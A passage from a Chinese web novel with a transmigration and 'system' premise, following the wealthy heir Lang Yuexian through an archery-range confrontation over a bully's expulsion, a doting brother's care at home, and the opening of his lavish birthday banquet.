此刻那道目光正灼烧着朗月现的身体,与平日程式化的注视不同,明明是很平淡的动作,每每轮到朗月现时就变了个样。 需要接触的对象换成了朗月现,盛衍便如同换了个人,像是坚定的独腿锡兵获得了跳舞公主送出的锡心,真实的活过来一般。 那眼神中对于自己毫不掩饰的兴奋和愉悦让朗月现每次都觉得这人是不是被夺舍了。 朗月现被他那种看什么都含情脉脉的眼神看的不舒服,他微微颔首算是打了个招呼,便按照盛衍所说的开始调整弓弦。 朗月现的睫毛在护目镜后颤动,盛衍盯着看了好一会儿,注意到弓弦已经调好,才恋恋不舍的移开了目光。 移动靶道的绿灯突然亮起,他条件反射般三箭连发,箭簇钉入新换的泡沫靶心时发出令人牙酸的摩擦声。 “董其铭的退学流程今天在学生会例会通过,现在审批条在我那里。”盛衍的箭稳稳扎进金色十环,反曲弓的金属弓臂映出他镜片后的目光,“但教务处说需要具体事由,董其铭不愿意配合,和他同行的那些人说和程澈有关,你知道发生了什么事吗?” 霸凌团伙的几个男生都很有背景,而且大部分学校的国际合作部,基本都是一群富家子弟混文凭的地方,学校对于这个含着金汤勺的纨绔国际部一般都会直接放权给学生会管理。 出了恶性霸凌事件,只要没有被大肆宣扬出去,安抚好受害者,这事也就过去了,即使给了记录档案的严重处分,等他们到了国外,谁还在意这个。 不痛不痒教训几句,给几个处分,连检讨都不用亲自写,至于那些给受害者的补偿还不如他们随手丢给路边乞丐的几枚硬币掷得响亮。 这件事中他们唯一忌惮的就是莫名参与其中的朗家人,但是当负责领导打电话给朗秉白询问究竟要怎么处理时,对方竟同当晚严肃对待的态度大相径庭,一反常态表示不愿过问,按照学校的规章制度办事就好。 此话一出,只需要在知情者面前看得过去就可以了。至于受害者,人道主义安抚,尽量多给些补偿和奖学金,也不是说穷人家的孩子就是好糊弄的,程澈要真想要个说法,学校也会支持他。 可这是个现实的社会,一个无权无势的家庭,把事情闹大了,那几家随便谁出头抵制他,都能把他未来的人生路完全堵死。 校董事会商量过后,将事情全权交给学生会处理,盛衍第二天一早就被安排接手相关工作。 盛衍一目十行的了解完事件来由,令他不得其解的是,带头的那个名叫董其铭的学生,可以算是几人之中最有背景的。 而且董其铭是唯一一个凭借真才实学,真正考进C大美术系的,他外祖母是享誉国内外的名画大家,美院泰斗。他自己也小有名气,接连斩获几项国内外的年展新锐奖,年纪不大* ,一身很拿得出手的成就。按理说是几人中最有能力,最有资格在学校各方考量后得到宽恕的一位。 而其他几人都是高高拿起轻轻放下,只有董其铭,本该是张免死金牌,却毫无征兆的被直接处以最严重的退学处理。 盛衍意识到,这其中一定有朗月现的手笔。 那个看上去完全不在乎其他人的朗月现,会在全城皆知,各大频道滚动播放的俩大顶级财阀合作的重大日子里抛下所有人,奔赴到霸凌现场救人,并且为其直接将引发他被霸凌的罪魁祸首彻底解决掉,雷厉风行,完全就是朗月现的做派。 盛衍放下材料时才发现握着纸的指尖竟有些连自己都没发现的微微颤抖,他难得慌乱起来。 箭筒与木制器械台的碰撞声格外沉闷。朗月现拆卸瞄具的动作很稳,他放下弓箭,表情还和刚刚一样从容。 “是我做的,他私底下得罪我了。”他将弓弦蜡抵在虎口慢慢打圈,“我借题发挥,给他弄走了。” 朗月现突然抬头看了他一眼:“你不要把这件事搞得人尽皆知,适可而止就好。” 突如其来的对视让盛衍指尖发凉,他手肘一晃,箭簇擦过圆环边缘扎进旁边的环道。 这是他今日第一次未中圆心。 盛衍一直是个聪明人,完美的继承了父母的高智商,从小就会察言观色,心智都比同龄人要成熟的早。 此刻竟希望自己从未听懂,朗月现话里话外对程澈的维护。 现在就连那个可怜的贫困生的自尊心都要考虑到吗? “呵。”盛衍轻笑一声,重新拉开了弓弦,破风而出的箭蹭着上一只射歪的箭尾直接脱靶,力度几乎要劈开前一支箭,盛衍盯着扎进墙体的箭尾,木屑纷纷扬扬落在靶道上,“我倒是不知道,朗同学什么时候这么有爱心了?” 朗月现摘下护目镜,镜腿在木质器械台磕出轻响,信步走来,盛衍还沉浸在自己的高高扬起的怒气中,当玫瑰香味突然浓烈起来的瞬间,盛衍人还没反应过来,脊骨先生理性得窜过一阵电流。 朗月现的体温穿透两层衬衫布料烙在他后背,不属于自己的皮革护臂擦过手肘内侧时,他听见自己颈椎发出僵硬的不堪重负的轻响。 “放松。” 带着笑意的气音钻进耳蜗,盛衍后知后觉自己正在止不住的微弱战栗,“弓梢抬高。”朗月现的拇指扣上他扣弦的尾指,微凉的手掌突然包裹住他颤抖的腕骨,两个人的脉搏在那一刻重叠。 什么狗屁冷静自持,盛衍二十年来构建的理智堡垒在那身后那个人特意营造出的甜腻的暧昧氛围面前不堪一击。 如果不是还有残存的理智,每一处都在叫嚣着渴望的肌肉,以及那长久以来对于身后这人压抑的欲望,可以分分钟击碎他的理性外壳。 箭矢破空的瞬间,盛衍觉得朗月现扣着他的腕骨一同松开弓弦引发的震颤,比他幼时拿起弓箭第一次射中十环时的弓鸣更令他战栗。 “这才该是学长的真实水平。”被朗月现引导射中的一箭结束后,两人的身体也随即自然地分开。 无法接受那令他日思夜想的气息和体温骤然远离,盛衍下意识的伸出手握住了对方结实的小臂,他的呼吸粗重而急促,瞳孔在眼眶中乱动,脸上是明显的挣扎与克制。 他发疯般的想留住他,却在理智回笼的瞬间仓皇松开了手指,勉强扯出一丝苦笑:“……抱歉。” 盛衍听见身后传来的声音,总觉得那带着轻笑的语调,是看破了他急促起伏的胸膛后所谓的强装镇静,碾碎了他强撑着最后的体面。 “董其铭那件事,照我说的做就好,不要多此一举。” 盛衍没有回头,他呼吸沉重,听着那让他心跳加速的戏谑声音随着朗月现离开的脚步逐渐远去:“我也可以装作不知道,学长精心计算的此刻射箭馆的偶遇。” 第三十五章 就让这场盛大的宴会向世界证明,谁才是执棋手 过了霜降之后的首都进入了速冻模式, 气温降的很快,朗月现躺在床上,手臂搭在眼睛上, 听着窗外落下的小雨坠在满园的木芙蓉之上的细碎声音,昏昏欲睡。 很长一段时间里, 朗月现都在准备一项面向全国名校举办的大型金融投资模拟交易大赛。参赛者需要在72小时之内模拟的金融市场环境中进行投资交易,跨市场以虚拟资金进行模拟股票债券等博弈,比拼投资策略和收益表现。 C大的金融系在全国属于是top1级别的领航梯队,对于这种大型金融商科类比赛一直是非常重视,校内首先会进行内部比拼,来竞选替校出征的比赛名额。 作为xx届金融系“双子星”, 朗月现与程澈进行了一场无声的思维博弈。朗月现在家中耳濡目染多年,承袭了自家高超的商脉直觉, 对于商业投资,包括大量实际的金融案例进行深入的研究和分析方面的头脑可谓是一骑绝尘。 程澈则另辟蹊径,他是代码构建金融迷宫的鬼才,从他自己一个人就能黑进董氏企业的内网防护系统上就能看出, 在风险投资,量化金融这类涉及运用数学、统计和编程知识,进行金融数据分析的策略开发方面可谓是首屈一指,他编写的量化模型甚至能捕捉到极微小的套利间隙。 这两个人的组合连学校请来的全国著名的金融客座教授都要感叹后生可畏。 比赛决出胜负后,朗月现摘下防蓝光眼镜,略有些疲惫的窝在宿舍椅子上,程澈心疼的不行,轻手轻脚的走过去给他按了按太阳穴。他温热的指腹刚触到对方微凉的皮肤,宿舍门就被篮球砸得哐当作响。 “姓程的你他妈……”周闻铮带着室外的寒气撞进来,他瞥见程澈悬在半空的手, 冷笑卡在喉间变成讥讽的怒意:“趁着别人不在搞这种小动作,也别太不拿我当回事了。” 朗月现突然的起身扯响了椅子,在身后剑拔弩张的寂静里,他摸出震动的手机,是母亲发来的庭院中满园开的正好的木芙蓉,还坠着细碎的冰菱。朗月现这才意识到,自己这段时间忙着比赛,好久没给家里回个信了。 * 房门被轻轻叩响,随着朗月现的一声“进”,这位晨间还在财经频道播出专访内容,二十七岁的朗氏集团掌舵人此刻套着藕粉色樱花围裙,居家棉衫领口微敞,发梢好像还沾着些厨房蒸腾的水汽,笑意盈盈的站在了房间门口:“小月,饭做好了,下来吃吗?” 朗月现坐起来,看着他哥的造型,心下有些想笑。朗月现趁着周末没课,和导员请了假回家想休息几天,好久没见到朗月现的后遗症在朗秉白身上表露无疑。 他几乎像是被遗弃了很久的小狗终于盼到了主人回家一样,看着朗月现的眼睛里都不自觉的带着光,还跟小时候一样,除了没把朗月现抱在怀里,几乎是寸步不离的陪在朗月现身边。 朗父亲封的工作狂这几天连集团例会都赶着点开完,今早的晨会改成视频连线,并购案搬进了书房,连朗月现的三餐都是朗秉白亲自下厨做的。董事会的几位元老亲眼看着他们朗总一边听着员工汇报,一边神情严肃地品尝着给弟弟新研发的桂花酒酿糖藕。 朗父对于这种没有节制的惯孩子做法直呼没眼看,颇为嫌弃大儿子的黏人做派,嘴上佯装指责,平时叫着一起吃个饭都没时间,这回他弟弟回家住,别说不加班了,连正常工作时间都一并减免了。朗太太倒是津津乐道,和朗秉白一起下厨钻研朗月现喜欢的菜品。 朗月现其实有些无奈,可是看见他哥一副兴致勃勃,心情颇好的给他做饭煲汤,惬意甚至享受的模样,又觉得有些好笑,只能由着他去了。 朗月现随手揉了把头发,慢悠悠地掀开羊绒薄毯,准备从床上爬起来洗个澡,赤足还没踩上地毯,脚踝便被哥哥抓住了。朗秉白早就料到弟弟性子,变戏法似的摸出棉袜半跪着给他套上,温热的掌心拂过微凉的脚背:“秋寒入骨。” 朗父朗母今天同几位好友相约出门游玩,餐厅长桌上,汤盅滚动着清甜的栗子香气,朗秉白把煲好的汤递到弟弟面前,问道:“快到生日了,小月今年准备怎么过?” 朗月现漫不经心的回道:“照常,把云蔚顶楼几层包下来,请那些家伙随便聚聚。” 像他们这种豪门,任何聚会都会被当做互相交集的重要媒介,各种节日,包括生日也不例外,只是朗家从不会把朗月现的生日做这种用途,即使朗月现并不在意。 朗秉白应了下来,又状似不经意的提到:“你那几位舍友,要请吗?” 朗月现张嘴就想说不用,这时系统突然出声:“要的要的,第三个关键节点要开始了。”夹菜的手便顿了一下,他诡异的沉默了片刻。 系统也看出朗月现的停顿,好心的将原书这部分剧情调出来,纷乱的情景碎片裹挟着原文文字在朗月现眼前开始播放:昏暗的酒店房间内,月光在纠缠的身影上投下诡谲光影,朗月现攥着周闻铮大敞凌乱的衣襟将人抵在落地窗前,烈酒气息混着撕咬的血渍在两人拼命纠缠的唇齿间蔓延开来。而盛衍破门而入时,两人扭躺在床上,朗月现跪坐在神志不清的周闻铮腰间,正将手中的药碾碎在红酒杯中…… 系统怕直接看冲击力不够,还声情并茂的再次将故事情节讲给朗月现听:“小说中写,您对幼时又重相见的青梅竹马周闻铮爱意深陷,但是周闻铮在学校里对盛衍早已闻名已久,这次聚会中便自然而然对也同样受邀参加的盛衍一见钟情,彻底将您十几年的爱恋视作草芥。” “您不惜在这次宴会的酒水里动手脚,给周闻铮灌醉之后将他拖进酒店的总统套房。就在您与他纠缠良久,压在床上解开他的纽扣,要把下了烈性药物的酒水喂给他时,咱们原书中真善美化身的主角受盛衍破门而入……顺便说一嘴,原书这段香艳描写很是受读者欢迎呢。” “后续发展如您所知:周闻铮在调取监控得知了真相之后勃然大怒,将您狠狠教训了一顿,还把这件事告诉了朗秉白。此事一出,您作为朗家的奇耻大辱,被冻结所有账户,禁足于朗家主宅。您怀恨在心,虚情假意表示痛改前非,之后借着母亲寿宴重获自由,第一件事就是派人绑架盛衍……” 朗月现重重放下筷子的脆响截断了系统的喋喋不休,喉结艰难滚动几下,指尖按住抽痛的太阳穴:“劳驾,能闭上嘴吗?” 朗月现听原书剧情听的的有点犯恶心,表情也不好看,“小月?”带着薄茧的掌心贴上额头,朗秉白不知何时已绕至身侧,腕间还带着沉香木珠的安神气息,“怎么才吃了这么一点,是今天的饭不合胃口吗?” 他不停的打量弟弟,担忧的眉心紧蹙,轻声哄道:“还是哪里不舒服?哥不该非得叫你起来吃饭的,都怪哥,哥抱你再回去躺一会儿好不好?” 朗月现脑海中专注的想着事情,还未反应过来,失重感骤然袭来,待回过神已被朗秉白打横抱起。 “别……”抗议声刚一出口便消融在哥哥胸膛震颤的轻叹里,十几年养成的肌肉记忆比思维更快驯服,他还是像小时候一样,早已习惯了身边朗秉白的气息,对朗秉白的亲密接触生不出一丝抗拒之意。 当系统将“关键节点宴会”与自己的生日宴画上等号的瞬间,朗月现差点气笑了。 朗月现在脑海中和系统对话,原来这场关键节点的宴会竟然是自己的生日宴会,真是晦气到家了,反派真就一点人权没有是吧。 系统也气呼呼的打抱不平,奏是奏是,剧情里只说了是场宴会,也没细说究竟是关于什么的宴会,真就把反派当做用完就丢,不留姓名,促进剧情的纯种工具人使唤。 但是没办法,剧情是一定要走的,即使自己不办聚会,世界意志也会强行将他们几个人全部打包分配在一个莫名奇妙的场合让他们必须聚在一起。 还不如自己主动出击,把地点定在自己熟悉的地方,先掌握主动权,更方便他处理应急情况,以及接下来的计划。 朗月现细想,他好像确实忽略了这些人,周闻铮好不容易从国外放回来,他是一定会去的,不请他都挡不住他要来。 至于另一位需要到场的主角,朗月现屈指轻扣太阳穴,纤长的眼睫在床头暖光投下颤动的阴影。只凭那人对自己异常特殊的态度,只要勾勾手指,那家伙连请柬都不需要就会马不停蹄的滚过来。 朗月现脑海中的思绪戛然而止,他回过神,自己正被轻手轻脚的放在床上,朗秉白温热的掌心正悬在他颈侧,在他望过来的眼神中突然凝滞。 朗月现看向将悬着的手自然的垂下,开始为自己掖被子的哥哥:“我还是要叫一些人来,包括我的那些舍友们。” 朗秉白指尖一顿,突兀的停顿了几秒,再抬起头又面色如常:“那是自然,小月的生日,请谁都是你的自由。” 朗月现无意识地盯着被惯常沉稳的男人捏出皱褶的丝绸缎面,慢慢扬起一个淡笑。 就让那些蠢货都来吧,当他的生日宴会敲响十二点的钟声,这场盛大演出会向那个愚蠢的世界意志证明,谁才是这个世界执棋的手。 —— 深秋时节,11月末的寒意与云蔚室内的奢靡形成强烈的对比。首都云蔚酒店,位于护城河泮寸土寸金的地段,拥有高达50层钻石塔楼造型的顶级建筑,每个细节都彰显世界顶级酒店的奢华。 而每年的这个时候,摩天楼宇顶层三层宴会区都会被朗家包下,为他们最宠爱的小少爷庆生。 云蔚酒店正门今夜便成了首都的时空裂缝,将凡尘俗世与上层社会割裂开来,界限分明。 顶级财阀朗氏家族继承人的生日宴会,使云蔚酒店顶层直接化身为权贵乐园。从高定手工地毯到各国古董水晶,从极光穹顶到钻石雪景,每一寸空间都在燃烧金钱,连呼吸都吞吐着黄金粉尘,构建出了一个权贵世界挥金如土,纸醉金迷的云端盛宴。 无数辆顶级豪车踏着月光在酒店车道行驶停驻,连最不起眼的宾利慕尚都挂着京A八连号车牌。有小道消息称,由这些钢铁巨兽打亮的车灯组成的星河车道,粗略估计,至少是价值三十亿的豪车长河。 今夜云蔚所有的升降梯只为同一个坐标闪烁,电梯门开合的刹那,裹着厄瓜多尔玫瑰精粹香气的暖流卷过宾客肩头。 那是云蔚酒店最著名的把戏,用精准的调香系统通过中央空调,将能够讨好朗家少爷偏爱的香气妥帖的通过暖流吹遍顶层的各个角落。 朗月现性子潇洒不羁,朋友众多,不拘小节,凡是有过交集的,都可以来参加他的生日宴会。这也是不少人少有的能再次亲眼见到朗月现的机会了。 其中当然也不乏有许多想要趁着这个机会,跟朗家搭上关系的人,觥筹交错间总是会藏着商业机密与政商交易,想要试图借着自家孩子与朗月现说过几句话的关系,趁机攀附上朗家这颗通天大树。 之前也出过类似的越界事情,中途惹得朗月现不快,冷脸离场,而罪魁祸首在那晚之后的三天内就从首都这个政治中心搬离了。 自那之后,所有人便完全明白,谈生意什么时候谈都可以,得罪朗家的方式有很多种,你选择在半夜闯进朗秉白的卧室找他谈合同的危险性都要比打扰了朗月现的心情要低得多。 朗秉白作为最亲近的家人,自然是不会参与今晚他们小辈之间的狂欢宴会。而为了保障弟弟的安全,多年前动用朗父特殊的军方关系,精心培养的朗家专属的安保队伍将会把控全场,侍者耳麦闪烁红光将会代替他们的眼睛,顶级的安防系统会完全将这场狂欢严密笼罩。 陈臻也看着头顶十几万颗水晶组成的吊灯折射着窗外流动的月光,他被照的微微眯起了眼睛,低下头眼前是五彩斑斓的模糊一片,陈臻也喉结微微滚动,咽下了今晚第五杯香槟。 旁边的朋友笑着锤了他的肩膀一拳,笑骂道:“主角还没出场,你别自己先喝多了。” 陈臻也的手指微微颤抖,他放下了杯子,点着头附和着朋友的话,可是他实在紧张。自从被朗家强制施压,他已经好几年没见到过朗月现了。 “不喝了,”他紧张的喉咙像是哽住了一般,说话都发着颤,他自嘲的笑了笑,“你说得对,主角还没见到,怎么能喝多……” 话音未落,顶层的露台处率先传出一声惊呼,众人的目光不由的被吸引了过去。陈臻也心头一紧,手指不自觉握紧,也随着将视线投过去。 紧接着他便看见了此生都难以忘怀的一幕。 今夜的主角踩着昂贵的鎏金地毯走进场内,整座宴会厅的呼吸频率都顺着他的脚步开始紊乱。朗月现一身纯黑的衣着,丝质衬衫的扣子随意的敞开几颗,露出锁骨冷冽的雪色,走动时能看到那些暗纹的玫瑰纹路在灯光的照射下在衣料深处次第绽放。 耳垂悬坠深蓝色的尾羽耳饰,是他身上最惊艳的一抹亮色。朗月现表情平淡,唇间勾着浅淡的笑意,今日的穿搭与他平日里的风格很是不同,这位潇洒不羁,俊美无俦的公子哥,今夜竟显露出一种自然原始而暴烈的美。 他信步走来,像是无边旷野中孕育出的山神,头顶十几万颗的水晶在他眉弓投下高贵的细碎光影,那双漆黑的眼眸映着深蓝尾羽闪动的光,无一处不宣示着上天对他的偏爱,美得近乎危险。 陈臻也的耳朵里隐约传进身旁某位珠宝大亨的千金小声的交谈:“小少爷的耳坠是用印度翠雀绒毛织成的克什米尔蓝凰尾羽吧,去年苏富比拍卖行的那对活体蓝钻?我就听说是被朗家截胡了,果然是……” 接下来的话听不真切了,这些议论声在陈臻也耳中化为蜂鸣,随着朗月现一步步的走近,陈臻也的目光顺着他的每一寸发丝渐渐下滑,滑过他的高挺的眉骨和鼻梁,殷红的唇瓣。 陈臻也贪婪的不停描摹着多年未见的心上人的模样,他的肌肉紧绷着,身体微微颤抖,呼吸变得急促而沉重,陈臻也不由地伸出手,摸了摸胸口,感觉心脏快要从嗓子眼里跳出来了。 当朗月现停在离他不远的大厅中央香槟塔前,人群中突然传来惊呼。整个穹顶突然炸开无数蓝色花瓣,数以万计的厄瓜多尔蓝玫瑰裹挟着冷香倾泄而下。 在隐藏在罗马柱上方的中央系统洋洋洒洒飘落的蓝玫瑰雨中,朗月现倚着镶满黑欧泊的栏杆上举起香槟杯,耳垂上两片蓝羽轻颤着扫过颈侧淡青血管,在漫天花瓣中闲散浅笑。陈臻也突然感到一阵酥麻从脊椎电流一般蔓延过他全身,骤然有一种停窒的感觉。 他突然不合时宜的在此刻理解了古希腊神话中,甘愿为了海妖的歌声撞碎在礁石上的水手。 陈臻也似乎也听到了自己灵魂深处传来船帆撕裂的声响。 美丽的如同塞壬化身的少年,举起酒杯的食指上那颗硕大的粉钻在万颗水晶的照耀下闪烁着刺目的亮光,他漫不经心拨开落在肩头的花雨,扬唇懒洋洋一笑:“玩得开心,各位。” 第三十六章 荷尔蒙上头,一见钟情可比打架简单多了 程澈和应昭是被特地安排等在正门的侍者单独领进酒店的, 电梯门打开的瞬间,应昭就狠狠掐住了程澈的胳膊。 “老天爷,我何德何能……” 宴会开始前的几天, 程澈和应昭在得知被邀请的同时收到了朗月现寄来的两套非常合身的高奢西装,应昭还特地去查了这个牌子西装的价格, 贵的他瞠目结舌,破了音的语调直呼见世面了。 而今天站在云蔚的顶层,两人才突然有了真正见世面的实感。 程澈穿着朗月现为他准备的皮鞋踩在云蔚酒店顶层的反着光的地砖上时,突然理解了什么叫作“云端”这个词的具象含义。整个顶层宴会厅三百六十度的落地窗外,整座城市的霓虹都在脚下流淌,而穹顶垂落的吊灯正将细碎光斑洒在他局促不安攥得发白的指节上。 "两位先生, 这边请。”戴白手套的侍者躬身时,他下意识扯了扯西装下摆。两个小时前, 这套墨蓝色高奢西装还静静躺在朗家管家送来的褐色西装礼盒里,衣料上的暗纹提花在更衣室的射灯下流转着深海般的光泽。 更衣镜里倒映的陌生人让他心悸。平日在宿舍总穿着洗的发白的简单卫衣,此刻被剪裁精良的西装包裹出凌厉的肩线,银灰色领针恰好卡在喉结下方, 仿佛有人用尺子量过他与朗月现脖颈的弧度差。 应昭穿上自己的纯黑西装,转身看见程澈,当时吹了声口哨:“老程,你这要出道直接血洗娱乐圈啊。” 可此刻站在云端,程澈只觉得衬衣领口勒得发疼。侍者引他们穿过门厅走廊,宴会厅已经有不少人正在三三两两的相互热络交谈。 这些圈子内的富二代都或多或少的相互熟识,中央吊灯折射出无数棱镜将光线碎成冰蓝色的雪,落在那些端着马天尼酒杯,插科打诨,喜笑颜开的陌生面孔上。 “这边请用些餐前酒。”侍者将他们领到长桌旁, 便转身离开。程澈伸手去取郁金香杯,香槟折射的光斑跳进程澈干净的瞳孔,余光始终瞥向正厅大门。 “我的天”应昭扯了扯领口有些歪斜的领结,他不太适应这幅穿搭,手里装着香槟的高脚杯微微发颤,“这杯子比我手机还贵吧?” 程澈没想到这辈子第一次穿西装的体验是朗月现给他的,还是昂贵到如此的程度。程澈觉得有些不适应,绷紧的肩背把西装撑出漂亮的肌肉线条,他觉得自己的站姿或者状态一定都很不对劲,似乎已经若有似无的吸引了很多人投来目光。 程澈面貌十分英俊,个子又高,体格属于很健壮挺拔的类型,肩背宽阔,被合体的西装一衬,看上去给人的第一感觉是结实,高大,有力量。沉默时下垂的眼睫有种温顺的锐利,看起来乖顺又有一种十分可靠的感觉。 不远处几位名媛交换着眼色,用酒杯遮掩着嘴角,议论这个陌生面孔是谁家的新贵,程澈紧张的捏着酒杯,不断重复着胸膛大幅度起伏的动作。 “你知道这些有钱人他们卫生间的水龙头都奇奇怪怪的吗?”从洗手间回来的应昭耳尖发红,手中还端着从另一边桌子上顺来的点心盘子:“我真是各种鼓捣,差点想不洗手直接出来了。” 程澈扯了扯嘴角,婉拒了应昭热情的分享,诚恳地说出了今晚最走心的一句话:“还好有你在,应昭,太接地气了,下次能再小点声就更好了。” 应昭:“?”眨眨眼微笑,好像是好话,但是怎么语气怪怪的呢。 几声突兀的惊呼声突然打乱了宴会厅的节奏,程澈心头一提,呼吸也跟着乱了一拍。 那抹深蓝就这么撞进了程澈的眼中,程澈下意识攥紧了酒杯,那股熟悉的悸动裹着陌生的酸涩涌上喉头。 那酸涩是哪来的呢?程澈心里想,是应昭递来的点心太苦了吗?裹着甜腻的苦杏仁味混着喉间翻涌的苦涩,糖衣化尽后,苦味才在舌根结成硬块翻涌上来。 不,不是口中的味道,是他心里的味道。 程澈低头看了看自己身上的定制西装,昂贵的几乎能买下他前半生的布料此刻突然变得扎人。满厅的珠光宝气中,他穿着朗月现为他准备的衣服,人模人样的站在这,实际上在满室华服里像块突兀的补丁。 他突然意识到这个空间里所有人都带着无形的标价牌,而他和应昭是混入珠宝展的两枚硬币。即使装扮的再像,所有人都能看出他的伪装,满厅富二代们谈笑风生,带着与生俱来的松弛感,只有他连呼吸都在计算分寸。 程澈的目光黏在宴会厅中央的那个姿态慵懒随意的人身上,他懒懒地打量着这些天子骄子向他施以讨好的神情,眼底带着一丝轻蔑的笑。 他们之间横亘着无数个看不到尽头的差距,衬得自己像个阴沟里的偷窥者。 他就这么远远望着,仿佛掉进了那抹蓝色的深海,整个人被一股巨大的力量拽住,又暖又热的痛感滚过心尖。 爱上朗月现是他这辈子做过的最幸福,最痛苦的事情,即使那种痛感会在下一秒就把他吞噬掉,他还是会不断地,一次又一次的,义无反顾的爱上他。 那些难言的情绪在心底疯狂生长,长成一张巨大的网,程澈头也不回的扑进那网中。他看着朗月现依靠着在栏杆上,遥遥举起酒杯。 两人的视线好像有一瞬隔着漫天的蓝色花瓣相撞交汇,程澈握着杯子的手无意识收紧,他目光不躲不闪,任由心跳成为这个空间里最无法忽视的存在。 程澈以前想着,自己无论如何是配不上他的,即使是一场梦,他做到现在也该满足了。 但是他在那晚朗月现闯进体育器材室的那一刻明白过来,或许更早的某一刻,又或许从一开始内心所谓的不奢求,自始至终只是自欺欺人的借口而已。 为什么不能争,为什么不去奢求,他不想只因为自己怯弱胆小,自卑暗淡,就那么匆匆的咽下自己一生的甜。 如果连朗月现都不能成为他拼命的理由,程澈觉得自己这辈子也就到此为止了。 他拿着金融峰会客座教授的推荐函,手机里还躺着前几日刚刚和某个知名风投集团达成协议的电子合同款项。 那是他熬夜做了三个月的企划书,带着所有的诚意和孤注一掷的勇气。程澈像是握住了在那深蓝的海中唯一能救他的浮萍一般,紧紧握住了他的救命稻草。 他知道,这仅仅只是一个开始。但还好,他已经开始了。 玻璃幕墙映出他绷直的肩线,当朗月现遥遥举杯的瞬间,他仰头饮尽杯中酒,酒液滑过喉咙灼烧的刺痛让他清醒得意识到:想要当朗月现的狗,没有同那些人撕咬争夺位置的能力怎么行。 他总有一天,会凭着自己的努力,真正一步步走到他的身边。 应昭正和旁边带着昂贵腕表,语气跳脱的女士聊得火热。程澈将酒杯贴在唇边,香槟气泡在舌尖炸开的瞬间,他听见身后传来丝绸摩擦过耳膜般的低笑。 “果然人靠衣装。” “怎么站在阴影里?”朗月现的声音裹着玫瑰香气贴近耳畔时,程澈慌忙转身,猛地后退半步撞到餐台,香槟杯快要倾倒的瞬间,朗月现一把将其扶起,稳稳端在手中。 “还适应吗?”朗月现看着程澈慌张的样子,只是笑了笑什么也没说,他自然地抬手整理程澈有些歪斜的领针,冰凉指尖擦过喉结,激得程澈猛地一颤,“谢,谢谢……” “衣服看上去很合适。”他说话时睫毛在眼下投出小片阴影,程澈的目光不自觉地从深蓝的尾羽耳饰划到那被酒水浸湿的昳丽红唇。 突然理解人为何会修筑神庙,朗月现美得整个人像尊被精心供奉的山神像。 应昭闻声举着酒杯挤过来同朗月现碰杯:“大寿星今天帅得有点过分了啊。”玻璃相撞的脆响中,应昭有些激动的说道:“朗哥,这西装简直长在我们老程身上,我也真是头一次能穿上这么好的衣服,你能邀请我们就非常荣幸了,还这么有心,真是太感谢你了,对吧程澈?” 没得到任何回应,应昭扭过头,就发现那人目光灼灼地直勾勾盯着朗月现看,眼神明显地幽深,像是要着火一般。 应昭瞪大了眼睛,电光火石间他好像被雷劈中似的明白了些什么,他趁着朗月现仰头喝酒的时候,猛地用手肘狠狠顶了一把程澈的腰:“对吧!* 老程?” 程澈蓦然回神,他垂下眼睛,遮住满是欲色的眼睛,喉结猛地滚动两下,嗓音沙哑的“嗯”了一声。 “玩得尽兴。”朗月现离开前拍了拍程澈的后腰,那个位置立刻灼烧起来。程澈盯着那抹深蓝游刃有余地穿过人群,走向宴会厅中央,沿途不断有人凑上前想同朗月现交谈,都被他轻巧的摇晃着酒杯躲开—— 云蔚顶部三层分别是最顶层的宴会厅,下一层的酒吧和娱乐区域,再往下则备着随时接纳醉客的正常酒店套房。狂欢的宾客们可以随时休息,尽情放纵,让沉醉的宾客无需清醒就能完成从云端到温柔乡这般最好的游玩体验。 当朗月现那句“玩得尽兴”伴着蓝玫瑰的坠落,宴会厅众人便自觉化作流动的盛宴,人群默契的四散开来,一部分人轻车熟路地去了二层寻欢,更多人则觊觎着靠近宴会主人的位置。 顶层穹顶上折射出星河流转的光晕,周闻铮松了松暗纹领带,他今天一身形式考究的黑色西装,肌肉虬结的双臂老老实实的禁锢在合身的西装中,穿的比周父耳提面命十几次的朗周两家签约会上还正式隆重。 他看着落地窗边被众人簇拥的朗月现,那人正倚着栏杆手拿着酒杯,黑色丝绸衬衫随着他慵懒的姿态散向一边,修长的脖颈向上抬起,延展出一抹雪色的弧度,露出的锁骨盛着晃动的琥珀光。 从进场等到那场花瓣雨结束,周闻铮像是被定住了一样,眼睛死死盯着那个人,眸色赤红,神情复杂。只顾着一杯接一杯的仰头灌酒,像是借此将什么即将宣之于口的东西压回去一般。 侍应生托着酒盘擦肩而过时,周闻铮抄走两杯龙舌兰,像是给自己打气一般,仰头接连灌下了两杯。烈酒滑过喉管的灼痛让周闻铮不由自嘲的暗骂,现在连靠近他都要紧张成这副样子了吗,真是越来越没出息了。 朗月现懒洋洋的偏头,漫不经心的听着身边女伴略显紧张的话语,时不时的点头状似迎合,思绪完全飘到了别处去。 直到一阵略显不稳的皮鞋鞋跟敲击地面的声响越靠越近,朗月现轻飘飘地抬起眼,就看见身形非常高大的黑色身影霸道的抢占了自己的所有视线。 周闻铮横跨半步挡住不断搭讪的红裙女人。他带着未散的酒气,故意将龙舌兰残杯搁在对方面前,玻璃相撞的脆响惊得女人后退。 “借过。”他舔掉嘴角盐粒,在女士惊愕的目光里一把揽走了今夜唯一的月亮。 “这就喝多了?”朗月现挑眉看他略显踉跄的脚步,随着他走到了厅内偏向角落的露台前。周闻铮后背撞上玻璃幕墙,手掌稳稳地掌着朗月现的腰,将他搂靠在自己身前,目之所及脚下城市映出的灯火在两人身后碎成斑斓的雨。 周闻铮听了这话,顺势抓住对方手腕,借着酒劲又将人往前带了几分。“帮你挡桃花啊。”他拖长音调,拇指无意识摩挲腕骨内侧跳动的脉搏。 自打他从小时候见到朗月现的第一面,他就漂亮得让他移不开眼,这幅容貌他看了将近二十年,直到今天,还是会喉咙发紧。 那平日里张扬惯了的家伙,今夜没有选择多么适合他艳丽容貌的华丽装饰,只用耳边一抹深蓝点缀。 那种非常天然原始的气质,像自由生长的万物,如同大山溪河,像是不带雕琢完全出于造物主之手的宝石,在夜里熠熠生辉。 朗月现此刻美得近乎神迹,周闻铮甚至不敢抬头看他,靠近了的朗月现裹着那股冷淡的玫瑰香,混着他呼吸间的龙舌兰酒气,在彼此交错的体温里酿成危险的甜酒。 周闻铮觉得自己可能真的喝多了,这距离太危险,那克制太久的情感突然有一种濒临失控的感觉,酒精燃烧着他今夜安静不下来的心跳,在血管里烧出孤注一掷的勇气,要不要就趁着醉意…… 